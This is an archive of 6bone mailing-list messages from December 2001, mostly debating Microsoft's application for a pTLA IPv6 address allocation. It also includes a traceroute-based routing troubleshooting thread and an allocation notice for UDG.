>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.2.0.0.0.0.0.9.2.e.f.f.3.ip6.int.
>\
>         IN   PTR      iusdxbonec7501-tun1.ipv6.microsoft.com.
>2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.a.3.0.0.3.2.0.8.0.0.c.0.e.f.f.3.ip6.int.
>\
>         IN   PTR      iusdxbonec7501-tun2.ipv6.microsoft.com.
>6.8.8.9.b.6.3.8.0.0.0.0.0.0.0.0.0.0.0.0.0.2.8.9.b.6.3.8.2.0.0.2.ip6.int.
>\
>         IN   PTR      www.ipv6.microsoft.com.
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>[see above]
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>contact:      CE1-6BONE
>contact:      DF4-6BONE
>contact:      DML1-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>notify:       ipv6eng@microsoft.com
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>Statement of User Community and Intent to Provide Production-Quality
>IPv6 Backbone Services:
>Microsoft Information Technology Group provides enterprise-wide network
>connectivity to Microsoft research and development sites across the
>globe.  Prefixes derived from the pTLA would be used to address sites
>across several different geographic regions and will interconnect
>externally with diverse providers.  In addition, this will serve as
>initial research toward eventual deployment of IPv6 services across
>Microsoft's Internet network properties.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>[We do indeed.]
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>8. 6Bone Operations Group
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites connected
>    to the 6Bone.
>    The 6Bone Operations Group is currently defined by those members of
>    the existing 6Bone mailing list who represent sites participating in
>    the 6Bone. Therefore it is incumbent on relevant site contacts to
>    join the 6Bone mailing list. Instructions on how to join the list are
>    maintained on the 6Bone web site at < http://www.6bone.net>.



From 6bone-owner  Mon Dec 17 15:12:50 2001
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unsibscribe

-- 
Q: What's another name for the "Intel Inside" sticker they put on Pentiums?
A: Warning label.

From 6bone-owner  Mon Dec 17 20:16:56 2001
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Date: Mon, 17 Dec 2001 23:17:31 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: <6bone@ISI.EDU>
Subject: Weird routing issue?
Message-ID: <Pine.NEB.4.33.0112172312550.4698-100000@reva.sixgirls.org>
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Hi,

For some reason, my IPv6 machines cannot browse 6bone.informatik.uni-leipzig.de.

>From any of my machines, which are on FreeNet6, I route to:
traceroute6 to 6bone.informatik.uni-leipzig.de (3ffe:400:280::1) from
3ffe:b80:2:2e72::2, 30 hops max, 12 byte packets
 1  3ffe:b80:2:2e72::1  147.024 ms  146.554 ms  146.544 ms
 2  3ffe:400:1090:1:8::2  138.321 ms  139.479 ms  152.833 ms
 3  3ffe:8270:0:1::36  270.677 ms  265.623 ms  265.66 ms
 4  * * *

But from machines on other networks (ftp.netbsd.org), I get:
traceroute6 to 6bone.informatik.uni-leipzig.de (3ffe:400:280::1) from
3ffe:8050:201:1860:2a0:c9ff:feed:b7ea, 30 hops max, 12 byte packets
 1  3ffe:8050:201:1860:290:abff:fe11:941d  1.148 ms *  0.798 ms
 2  orpa6.unnwo.net  2.735 ms  2.922 ms *
 3  3ffe:1280:1001:1::1  3.75 ms  3.731 ms *
 4  3ffe:1200:1002:1::e2  186.326 ms  186.155 ms  185.761 ms
 5  * 3ffe:401:0:1::27:1  228.229 ms  228.906 ms
 6  6bone.informatik.uni-leipzig.de  279.017 ms  251.985 ms  250.142 ms

Clues?

Thanks,
John Klos
Sixgirls Systems Administrator


From 6bone-owner  Mon Dec 17 22:21:08 2001
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Date: Mon, 17 Dec 2001 22:21:47 -0800
From: Chuck Yerkes <chuck+6bone@snew.com>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>, Chris Engdahl <cengdahl@microsoft.com>,
        ITG IPv6 Engineering Team <ipv6eng@microsoft.com>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002
Message-ID: <20011217222146.A25476@snew.com>
References: <5.1.0.14.0.20011216110232.0204c470@imap2.es.net>
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Quoting Bob Fink (fink@es.net):
> 6bone Folk,
> 
> MICROSOFT has requested a pTLA allocation. The open review period for this 
> will close 2 January 2002. Please send your comments to me or the list.
> 
> <http://whois.6bone.net/cgi-bin/whois?microsoft>

....


Not to be petty, but this stanza jumps out as a potentially historic
note.  We will hope that MS does not live up to their long earned
reputation for not playing with others  (http, kerberos, DNS, DDNS,
DHCP and others leap to mind).

>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>[We do indeed.]


Need we define "consensus" and other words very, very, very,
clearly and concisely to avoid all loopholes?

From 6bone-owner  Mon Dec 17 22:47:48 2001
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Date: Mon, 17 Dec 2001 22:48:25 -0800
To: Chuck Yerkes <chuck+6bone@snew.com>
From: Bob Fink <fink@es.net>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002
Cc: 6BONE List <6bone@ISI.EDU>, Chris Engdahl <cengdahl@microsoft.com>,
        ITG IPv6 Engineering Team <ipv6eng@microsoft.com>
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Chuck,

At 10:21 PM 12/17/2001 -0800, Chuck Yerkes wrote:
>Quoting Bob Fink (fink@es.net):
> > 6bone Folk,
> >
> > MICROSOFT has requested a pTLA allocation. The open review period for this
> > will close 2 January 2002. Please send your comments to me or the list.
> >
> > <http://whois.6bone.net/cgi-bin/whois?microsoft>
>
>....
>
>
>Not to be petty, but this stanza jumps out as a potentially historic
>note.  We will hope that MS does not live up to their long earned
>reputation for not playing with others  (http, kerberos, DNS, DDNS,
>DHCP and others leap to mind).

Speaking from my own experience on the 6bone, and as an IETF ngtrans wg 
chair, Microsoft has worked with the IPv6 community in an exemplary 
fashion. I appreciate their continuing high quality IPv6 efforts.


Bob


> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of the
> >       6Bone backbone and user community.
> >
> >[We do indeed.]
>
>
>Need we define "consensus" and other words very, very, very,
>clearly and concisely to avoid all loopholes?


From 6bone-owner  Tue Dec 18 01:18:09 2001
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Date: Tue, 18 Dec 2001 04:17:26 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: Chuck Yerkes <chuck+6bone@snew.com>
cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Chris Engdahl <cengdahl@microsoft.com>,
        ITG IPv6 Engineering Team <ipv6eng@microsoft.com>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002
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> > MICROSOFT has requested a pTLA allocation. The open review period for this
> > will close 2 January 2002. Please send your comments to me or the list.
> >
> > <http://whois.6bone.net/cgi-bin/whois?microsoft>
>
> Not to be petty, but this stanza jumps out as a potentially historic
> note.  We will hope that MS does not live up to their long earned
> reputation for not playing with others  (http, kerberos, DNS, DDNS,
> DHCP and others leap to mind).
>
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of the
> >       6Bone backbone and user community.
>
> Need we define "consensus" and other words very, very, very,
> clearly and concisely to avoid all loopholes?


I must agree with this sentiment. Does 6bone have a lawyer or lawyers? Are
any lawyers on this list? It would be a VERY wise move to have Microsoft
representatives agree to these terms plainly in a legal document; trying
to get Microsoft to conform after the fact is, well, impossible (the US
government cannot do it).

The very least that 6bone can do is have Microsoft agree to such terms in
writing. As a NetBSD developer, I do not want to see our work become
irrelevant should Microsoft start making incompatible protocols.

Thanks,
John Klos
Sixgirls Computing Labs


From 6bone-owner  Tue Dec 18 01:23:05 2001
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Date: Tue, 18 Dec 2001 04:23:46 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: Christian Schild <schild@uni-muenster.de>
cc: <6bone@ISI.EDU>
Subject: Re: Weird routing issue?
In-Reply-To: <20011218080732.2C8E4110B@postfix1.uni-muenster.de>
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Hi,

> As 6bone.informatik.uni-leipzig.de is one of our leaf-sites I guess the
> next hop here should be JOIN. But our BGP connection to CALADAN (which is
> 3ffe:8270::) is fine and you should reach us. What I don't like here, is
> that 3ffe:400:1090::/48 (T-NET), another of our leaf sites, is involved.
> While they are no backbone peer, they have many BGP tunnels and behave
> like an pTLA. Maybe this causes problems, because one of their BGP peers
> is filtering. In my opinion T-NET should apply for pTLA.

Is IPv6 really so young as to be expected to be less reliable than the
IPv4 on which it commonly travels?

> Right now I can reach both of your IPs from the JOIN backbone router, which
> means nothing, because meanwhile I use different routes than aboves. Do you
> still have problems reaching 6bone.informatik.uni-leipzig.de or was it only
> temporary?

I reported this after I noticed that it's been several days since I was
last able to see your site via IPv6.

Should we contact T-NET?

Thanks,
John Klos
Sixgirls Computing Labs


From 6bone-owner  Tue Dec 18 03:10:53 2001
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From: Mike Knell <M.Knell@westminster.ac.uk>
To: 6BONE List <6bone@ISI.EDU>,
        ITG IPv6 Engineering Team <ipv6eng@microsoft.com>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002 
In-reply-to: Your message of "Tue, 18 Dec 2001 04:17:26 EST."
             <Pine.NEB.4.33.0112180406510.14670-100000@reva.sixgirls.org> 
Date: Tue, 18 Dec 2001 11:11:24 +0000
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> > > MICROSOFT has requested a pTLA allocation. The open review period for thi
s
> > > will close 2 January 2002. Please send your comments to me or the list.
(snip)
> The very least that 6bone can do is have Microsoft agree to such terms in
> writing. As a NetBSD developer, I do not want to see our work become
> irrelevant should Microsoft start making incompatible protocols.

Microsoft have had a presence on the 6bone for a long time, and I fail to
see (not that, I must confess, I'm that active in v6 stuff at the moment
after moving jobs) how granting them a block of address space should somehow
be seen as giving Microsoft carte blanche to "develop incompatible protocols".

Can we try and be realistic here? 

Mike

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From 6bone-owner  Tue Dec 18 03:36:14 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: John Klos <john@sixgirls.org>
cc: Chuck Yerkes <chuck+6bone@snew.com>, Bob Fink <fink@es.net>,
        6BONE List <6bone@ISI.EDU>, Chris Engdahl <cengdahl@microsoft.com>,
        ITG IPv6 Engineering Team <ipv6eng@microsoft.com>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002
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On Tue, 18 Dec 2001, John Klos wrote:
> > >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> > >       operational rules and policies as they exist at time of its
> > >       application, and agree to abide by future 6Bone backbone
> > >       operational rules and policies as they evolve by consensus of the
> > >       6Bone backbone and user community.
> >
> > Need we define "consensus" and other words very, very, very,
> > clearly and concisely to avoid all loopholes?
> 
[snip]
> 
> The very least that 6bone can do is have Microsoft agree to such terms in
> writing. As a NetBSD developer, I do not want to see our work become
> irrelevant should Microsoft start making incompatible protocols.

How, exactly, would this situation change from today if MS was allocated a
pTLA?  I don't see any change happening.  And I don't know if there's
anything to complain about as of this writing.

Everyone can still refuse to peer with MS if they don't act nicely, or
filter all of their routes or whatever..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Dec 18 05:53:52 2001
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From: "Brig, Michael P." <brigm@spawar.navy.mil>
To: "'John Klos'" <john@sixgirls.org>, Chuck Yerkes <chuck+6bone@snew.com>
Cc: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
        Chris Engdahl
	 <cengdahl@microsoft.com>,
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	 <ipv6eng@microsoft.com>
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
Date: Tue, 18 Dec 2001 08:54:31 -0500
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I think Microsoft should be allowed it's pTLA. If we allow Cisco and Compaq
then why not Microsoft? We should encourage greater participation verses
building barriers.

Now concerning the point that the US government can't get Microsoft to
conform... The US government has issues getting it's own personnel and
agencies to conform and work as team players. I believe any real world
organization, forum, industry group, alliance, coalition has this very same
issue.

Michael P. Brig

-----Original Message-----
From: John Klos [mailto:john@sixgirls.org]
Sent: Tuesday, December 18, 2001 4:17 AM
To: Chuck Yerkes
Cc: Bob Fink; 6BONE List; Chris Engdahl; ITG IPv6 Engineering Team
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002


> > MICROSOFT has requested a pTLA allocation. The open review period for
this
> > will close 2 January 2002. Please send your comments to me or the list.
> >
> > <http://whois.6bone.net/cgi-bin/whois?microsoft>
>
> Not to be petty, but this stanza jumps out as a potentially historic
> note.  We will hope that MS does not live up to their long earned
> reputation for not playing with others  (http, kerberos, DNS, DDNS,
> DHCP and others leap to mind).
>
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of the
> >       6Bone backbone and user community.
>
> Need we define "consensus" and other words very, very, very,
> clearly and concisely to avoid all loopholes?


I must agree with this sentiment. Does 6bone have a lawyer or lawyers? Are
any lawyers on this list? It would be a VERY wise move to have Microsoft
representatives agree to these terms plainly in a legal document; trying
to get Microsoft to conform after the fact is, well, impossible (the US
government cannot do it).

The very least that 6bone can do is have Microsoft agree to such terms in
writing. As a NetBSD developer, I do not want to see our work become
irrelevant should Microsoft start making incompatible protocols.

Thanks,
John Klos
Sixgirls Computing Labs

From 6bone-owner  Tue Dec 18 07:19:22 2001
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Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002 
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I agree. I am not a Microsoft fan myself, but I cannot see how them
having more address space would enable them to develop more (or less)
"incompatible protocols". As has been said, it is quite possible to
filter their routes if they misbehave.

If Microsoft wants to design incompatible protocols to be used over
IPv6, they can do that with or without having a pTLA on 6bone. I
haven't had any problems with pTLA applicants before and I don't have
any problems with them either.


Michael Kjörling


On Dec 18 2001 11:11 -0000, Mike Knell wrote:

> > > > MICROSOFT has requested a pTLA allocation. The open review period for this
> > > > will close 2 January 2002. Please send your comments to me or the list.
> (snip)
> > The very least that 6bone can do is have Microsoft agree to such terms in
> > writing. As a NetBSD developer, I do not want to see our work become
> > irrelevant should Microsoft start making incompatible protocols.
>
> Microsoft have had a presence on the 6bone for a long time, and I fail to
> see (not that, I must confess, I'm that active in v6 stuff at the moment
> after moving jobs) how granting them a block of address space should somehow
> be seen as giving Microsoft carte blanche to "develop incompatible protocols".
>
> Can we try and be realistic here?
>
> Mike

- -- 
Michael Kjörling  --  Programmer/Network administrator  ^..^
Internet: michael@kjorling.com -- FidoNet: 2:204/254.4   \/
PGP: 95f1 074d 336d f8f0 f297 6a5b 2aa3 7bfd 8a70 e33e

"There is something to be said about not trying to be glamorous
and popular and cool. Just be real -- and life will be real."
(Joyce Sequichie Hifler, September 13 2001, www.hifler.com)

-----BEGIN PGP SIGNATURE-----
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From 6bone-owner  Tue Dec 18 09:17:19 2001
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>> From: Brig, Michael P. [mailto:brigm@spawar.navy.mil]
>> I think Microsoft should be allowed it's pTLA. If we allow Cisco
>> and Compaq then why not Microsoft? We should encourage greater
>> participation verses building barriers.

I agree. Besides, If we don't allow Microsoft to get a pTLA they will probably find another way that will be worse for everyone.

Michel.


From 6bone-owner  Tue Dec 18 09:37:31 2001
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Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002
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On Tue, 18 Dec 2001, John Klos wrote:

> > > MICROSOFT has requested a pTLA allocation. The open review period for this
> > > will close 2 January 2002. Please send your comments to me or the list.
> > >
> > > <http://whois.6bone.net/cgi-bin/whois?microsoft>
> >
> > Not to be petty, but this stanza jumps out as a potentially historic
> > note.  We will hope that MS does not live up to their long earned
> > reputation for not playing with others  (http, kerberos, DNS, DDNS,
> > DHCP and others leap to mind).

> I must agree with this sentiment.

> The very least that 6bone can do is have Microsoft agree to such terms in
> writing. As a NetBSD developer, I do not want to see our work become
> irrelevant should Microsoft start making incompatible protocols.

The fact that 2003::/16 got announced not two weeks ago
makes me somewhat suspicious, too. A written document
stating that Microsoft won't pull an "embrace, extend,
extinguish" on 6bone (or something roughly like this, in
legalese).

regards,

Rik
-- 
DMCA, SSSCA, W3C?  Who cares?  http://thefreeworld.net/

http://www.surriel.com/		http://distro.conectiva.com/


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From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:82F0::/28 allocated to UDG
Cc: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>,
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UDG has been allocated pTLA 3FFE:82F0::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?UDG>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.]


Thanks,

Bob


From 6bone-owner  Tue Dec 18 12:37:54 2001
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To: Rik van Riel <riel@conectiva.com.br>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002m
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The fact that it got announced is not as big of an issue as the fact that
people on the 6bone saw the announcement, which means that no one has
sufficient filtering policy in place...  So we need to blame the 6bone
community, not microsoft, who was doing what they thought was right, and
what was never explicitly (until later) denied on the 6bone.

removed some CC's

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
(+1) 703-689-6322
Sprint IP Services : Thinking outside the 435 box
-----------------------------------------------------------------------

On Tue, 18 Dec 2001, Rik van Riel wrote:

->On Tue, 18 Dec 2001, John Klos wrote:
->
->> > > MICROSOFT has requested a pTLA allocation. The open review period for this
->> > > will close 2 January 2002. Please send your comments to me or the list.
->> > >
->> > > <http://whois.6bone.net/cgi-bin/whois?microsoft>
->> >
->> > Not to be petty, but this stanza jumps out as a potentially historic
->> > note.  We will hope that MS does not live up to their long earned
->> > reputation for not playing with others  (http, kerberos, DNS, DDNS,
->> > DHCP and others leap to mind).
->
->> I must agree with this sentiment.
->
->> The very least that 6bone can do is have Microsoft agree to such terms in
->> writing. As a NetBSD developer, I do not want to see our work become
->> irrelevant should Microsoft start making incompatible protocols.
->
->The fact that 2003::/16 got announced not two weeks ago
->makes me somewhat suspicious, too. A written document
->stating that Microsoft won't pull an "embrace, extend,
->extinguish" on 6bone (or something roughly like this, in
->legalese).
->
->regards,
->
->Rik
->--
->DMCA, SSSCA, W3C?  Who cares?  http://thefreeworld.net/
->
->http://www.surriel.com/		http://distro.conectiva.com/
->


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From: Rik van Riel <riel@conectiva.com.br>
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On Tue, 18 Dec 2001, Robert J. Rockell wrote:

> ->The fact that 2003::/16 got announced not two weeks ago
> ->makes me somewhat suspicious, too.

> The fact that it got announced is not as big of an issue as the fact
> that people on the 6bone saw the announcement, which means that no one
> has sufficient filtering policy in place...  So we need to blame the
> 6bone community, not microsoft,

Ummm, isn't it _their_ responsability as well to make sure
they don't announce invalid prefixes to the 6bone ?

I know it's easy to blame bad filtering on "the rest of
the world", but never forget that the rest of the world
starts with yourself.

regards,

Rik
-- 
DMCA, SSSCA, W3C?  Who cares?  http://thefreeworld.net/

http://www.surriel.com/		http://distro.conectiva.com/


From 6bone-owner  Tue Dec 18 13:00:03 2001
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From: Rik van Riel <riel@conectiva.com.br>
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To: Michel Py <michel@arneill-py.sacramento.ca.us>
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Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
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On Tue, 18 Dec 2001, Michel Py wrote:

> >> From: Brig, Michael P. [mailto:brigm@spawar.navy.mil]
> >> I think Microsoft should be allowed it's pTLA. If we allow Cisco
> >> and Compaq then why not Microsoft? We should encourage greater
> >> participation verses building barriers.
>
> I agree. Besides, If we don't allow Microsoft to get a pTLA they will
> probably find another way that will be worse for everyone.

Despite my earlier criticism about 2003:/16 being announced,
I have to say I agree with this point of view.

Rik
-- 
DMCA, SSSCA, W3C?  Who cares?  http://thefreeworld.net/

http://www.surriel.com/		http://distro.conectiva.com/


From 6bone-owner  Tue Dec 18 13:37:53 2001
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Date: Tue, 18 Dec 2001 16:38:33 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: 6BONE List <6bone@ISI.EDU>
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
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Hello,

I didn't mean to start any kind of flame war; I think I should clarify my
position.

If all prolems can be solved by just refusing to peer with any entity that
doesn't follow the spirit of the group, then what's the point of having
guidelines?

Is it really unimaginable that Microsoft could start utilising proprietary
routing and / or proprietary extensions to IPv6 that it plans to use in
the future to make only their IPv6 work with their systems? Or at least
only allow certain features over their networks? While 6bone has little to
do with protocols, this would not be in spirit of a useful 6bone.

If the operational rules and policies are irrelevant because we can just
"punish later", then there's nothing to worry about. If they do matter,
it'd be at least historically significant to have a legal agreement
stating such.

> I think Microsoft should be allowed it's pTLA. If we allow Cisco and Compaq
> then why not Microsoft? We should encourage greater participation verses
> building barriers.

Of course they should be allowed a pTLA. I think they need to commit
(legally) to being a responsible 6bone member considering their history.

> Now concerning the point that the US government can't get Microsoft to
> conform... The US government has issues getting it's own personnel and
> agencies to conform and work as team players. I believe any real world
> organization, forum, industry group, alliance, coalition has this very same
> issue.

This is the silliest argument I have heard in a long time! I'm sorry, but
are US Government agencies running illegal monopolies? Are they ignoring
court orders?

This is not an issue to be dismissed because "they're being really nice".
This is a serious issue about asking a big giant who is sometimes mean to
make sure it understands the rules, and that they will not use 6bone to
develop technologies that are intended to hurt non-MS users.

Thanks,
John Klos
Sixgirls Computing Labs


From 6bone-owner  Tue Dec 18 14:35:40 2001
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Date: Tue, 18 Dec 2001 22:34:38 GMT
Message-ID: <20011218.22343800@firestar.posix.co.za>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002
To: Rik van Riel <riel@conectiva.com.br>
CC: John Klos <john@sixgirls.org>, Chuck Yerkes <chuck+6bone@snew.com>,
        Bob
 Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>,
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> > > > MICROSOFT has requested a pTLA allocation. The open review period for 
this
> > > > will close 2 January 2002. Please send your comments to me or the list.
> > > >
> > > > <http://whois.6bone.net/cgi-bin/whois?microsoft>
> > >
> > > Not to be petty, but this stanza jumps out as a potentially historic
> > > note.  We will hope that MS does not live up to their long earned
> > > reputation for not playing with others  (http, kerberos, DNS, DDNS,
> > > DHCP and others leap to mind).

By sheer marketing power alone, microsoft could make the world take note 
of ipv6 and start getting people more geared towards it's rollout ... 

"Windows v6 - 128bit enhanced internet power at your fingertips" <- Buy 
it NOW !!! *grin*

This forum is designed to help people test/play/tinker with ipv6 - and 
this is exactly what microsoft wants to do ...

I say, let them play ... at least under the 6bone banner, we can still 
maybe try and sort out some potential hiccups before they hit the market 
with buggy inet software ... which i believe is the point behind 6bone ? 
- creating a stable enough environment for ipv6 to implement it ?

As for me, I'll stick to OpenSource: Linux :)



Just my 00000010 worth ...

Byron Sorgdrager


From 6bone-owner  Tue Dec 18 15:58:18 2001
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
Date: Tue, 18 Dec 2001 18:59:35 -0500
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Hello from Gregg C Levine normally with Jedi Knight Computers
Despite some of my earlier misgivings, especially those, so am I.(For
those, please contact me off list.)  It will enable Microsoft to develop
workable solutions for the 6Bone, regardless of our own problems. (Would
somebody please update me regarding what was being considered regards to
Cisco?)
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Rik
> van Riel
> Sent: Tuesday, December 18, 2001 4:01 PM
> To: Michel Py
> Cc: Brig, Michael P.; 6BONE List
> Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
> 
> On Tue, 18 Dec 2001, Michel Py wrote:
> 
> > >> From: Brig, Michael P. [mailto:brigm@spawar.navy.mil]
> > >> I think Microsoft should be allowed it's pTLA. If we allow Cisco
> > >> and Compaq then why not Microsoft? We should encourage greater
> > >> participation verses building barriers.
> >
> > I agree. Besides, If we don't allow Microsoft to get a pTLA they
will
> > probably find another way that will be worse for everyone.
> 
> Despite my earlier criticism about 2003:/16 being announced,
> I have to say I agree with this point of view.
> 
> Rik
> --
> DMCA, SSSCA, W3C?  Who cares?  http://thefreeworld.net/
> 
> http://www.surriel.com/		http://distro.conectiva.com/
> 
> 


From 6bone-owner  Tue Dec 18 16:20:15 2001
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Date: Tue, 18 Dec 2001 16:20:50 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: 6bone@ISI.EDU
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
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	I would like to see some clarification on which "Microsoft" is making
the request.  Microsoft Research has been quite active in v6 development over
the years and has even taken a pro-active stance in recent weeks 
( 2003:: anyone? :) that would argue for caution.  However, it would be highly
desirable to see Microsoft (MSN, hotmail, et.al.) get connected to the 6bone
and then we could ask Microsoft research to work within the corporate network
administration for their IPv6 needs.  IMHO, this would be ideal.

--bill


From 6bone-owner  Tue Dec 18 17:34:31 2001
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Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002 
In-reply-to: Your message of "Tue, 18 Dec 2001 16:20:28 +0100."
             <Pine.LNX.4.43.0112181616500.28461-100000@varg.wolfpack> 
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Date: Tue, 18 Dec 2001 20:34:55 -0500
From: Michael Richardson <mcr@sandelman.ottawa.on.ca>
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  Imagine if Microsoft started assigning a /128 (or /120 for that matter) to
each registered copy of XP.  (A single /64 of their address space would last
a rather long time) 

  They then use this as the inner address of IPsec tunnels over which they
provide services to their XP (XP 2.0, etc..) customers. You must use this
in order to use, for instance, passport. 

  {Oh, and they permit you to populate the reverse map with your certificate
to be properly authenticated. }

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

  
  
  

From 6bone-owner  Tue Dec 18 18:31:11 2001
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Date: Tue, 18 Dec 2001 18:31:50 -0800
To: Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
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Bill,

At 04:20 PM 12/18/2001 -0800, Bill Manning wrote:
>         I would like to see some clarification on which "Microsoft" is making
>the request.  Microsoft Research has been quite active in v6 development over
>the years and has even taken a pro-active stance in recent weeks
>( 2003:: anyone? :) that would argue for caution.  However, it would be highly
>desirable to see Microsoft (MSN, hotmail, et.al.) get connected to the 6bone
>and then we could ask Microsoft research to work within the corporate network
>administration for their IPv6 needs.  IMHO, this would be ideal.

The pTLA application said this is for their corporate net as well as research:

>IPv6 Backbone Services:
>Microsoft Information Technology Group provides enterprise-wide network
>connectivity to Microsoft research and development sites across the
>globe.  Prefixes derived from the pTLA would be used to address sites
>across several different geographic regions and will interconnect
>externally with diverse providers.  In addition, this will serve as
>initial research toward eventual deployment of IPv6 services across
>Microsoft's Internet network properties.

Bob


From 6bone-owner  Tue Dec 18 21:30:51 2001
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Date: Tue, 18 Dec 2001 19:31:35 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: John Klos <john@sixgirls.org>
cc: 6BONE List <6bone@ISI.EDU>
Subject: RE: pTLA request for MICROSOFT - review closes 2 January 2002
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On Tue, 18 Dec 2001, John Klos wrote:

> This is not an issue to be dismissed because "they're being really nice".
> This is a serious issue about asking a big giant who is sometimes mean to
> make sure it understands the rules, and that they will not use 6bone to
> develop technologies that are intended to hurt non-MS users.

While I would agree that getting MicroSoft to adhere to 6Bone rules is a
serious issue, I don't think it warrants putting them through a gauntlet
significantly more stringent than the rest of us have already gone through
to obtain our pTLAs.  They've agreed to the rules in the same manner that
each of us did.  If the process isn't binding enough for MicroSoft then it
certainly isn't binding enough for the rest of us either and the rules
should be modified.  But I just don't see that as being necessary or
desirable.


From 6bone-owner  Wed Dec 19 03:04:30 2001
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Date: Wed, 19 Dec 2001 12:05:46 +0100 (CET)
From: Michael Kjorling <michael@kjorling.com>
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To: 6bone <6bone@ISI.EDU>
cc: Michael Richardson <mcr@sandelman.ottawa.on.ca>
Subject: Re: pTLA request for MICROSOFT - review closes 2 January 2002 
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Hash: SHA1

Just a comment out of curiosity - why wouldn't they be able to do that
same thing with what they have now? Matter of fact is that they do
have two /48s:

(from the 6Bone whois)
	ipv6-site:    MICROSOFT
	origin:       AS8070
	descr:        Microsoft IPv6 Site
	country:      US
	prefix:       3FFE:2900:201::/48
	prefix:       3FFE:C00:8036::/48
